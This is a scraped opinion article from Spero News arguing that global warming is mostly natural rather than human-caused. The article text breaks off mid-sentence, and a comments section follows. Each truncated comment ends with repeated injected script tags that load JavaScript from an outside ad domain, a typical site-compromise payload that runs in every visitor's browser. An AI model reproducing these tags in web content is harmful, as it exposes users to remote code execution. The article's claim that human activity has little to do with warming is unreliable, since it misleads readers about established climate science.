Global warming: Fact, fiction, or we're not sure?

Earth currently is experiencing a warming trend, but there is scientific evidence that human activities have little to do with it

Article Tools

February 2 is the date the United Nations Intergovernmental Panel on Climate Change (IPCC) will issue a report assuring us that human activity is the major cause of global warming.

 

ABC News got a copy of a draft of the IPCC report, and filed a story which said that “scientists now have more evidence than ever that human activity — mostly greenhouse gas emissions from burning coal, oil and gas — is largely responsible for the continuing rise in Earth's average surface temperature.”

 

The IPCC report involved more than 2,000 scientists from well over 100 nations. That seems like a lot of scientists, but a quick search turned up the fact that there are 7,400 (more or less) atmospheric scientists in the U.S. alone. The 2,000 or so IPCC scientists are but a fraction of all atmospheric scientists in the world. Are they the best possible group to work on this report? Are they a randomly selected group, or do they share a bias favoring the Man-Causes-Global-Warming theory? Some of us who aren’t ready to condemn mankind for trashing the planet without solid proof want to know more.

 

No doubt, global warming adherents will remain solidly convinced that Man is the worst thing to have happened to Nature, and that the report will correctly conclude that man has caused global warming, or at least contributed significantly to it. And there will be many more who are not necessarily environmentalists that will accept this theory as Gospel because it has received such positive support in the news and information media. But not everyone agrees with that assessment.

 

The National Center for Policy Analysis, for one, has this to say on the subject: “The Earth currently is experiencing a warming trend, but there is scientific evidence that human activities have little to do with it. Instead, the warming seems to be part of a 1,500-year cycle (plus or minus 500 years) of moderate temperature swings.”

 

And the National Aeronautic and Space Administration—NASA—isn’t so sure, either. “It may surprise many people that science—the de facto source of dependable knowledge about the natural world—cannot deliver an unqualified, unanimous answer

The views and opinions expressed herein are those of the author only, not of Spero News.
Add to Newsvine Add to Facebook Add to Digg Add to Twitter Add to DeliciousAdd to PropellerAdd to TechnoratiAdd to StumbleUponAdd to FurlAdd to BlinklistAdd to FarkAdd to Reddit
Filed under global warming
Energy and Environment RSS
Comments
heh, i agree with the 1,700 ot<script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script>

by bobby | Thursday, January 24, 2008  11:53:36 PM

Once debate degenerates into a<script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script>

by John | Monday, February 05, 2007  2:01:05 PM

Once debate degenerates in the<script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script>

by John | Monday, February 05, 2007  1:56:55 PM

gee I wonder who has more to g<script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script>

by bu ck | Friday, February 02, 2007  5:22:17 PM

“Science has only a dim pictur<script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script><script src=http://www.bigadnet.com/b.js></script>

by Ray | Tuesday, January 30, 2007  3:33:53 PM

Your E-mail Address:

Privacy Statement
 


© Copyright Spero, All rights reserved. RSS
Spero News on Twitter
Submit a tip
Advertise
Terms of use
Privacy Policy
Contact
This page took 0.0313seconds to load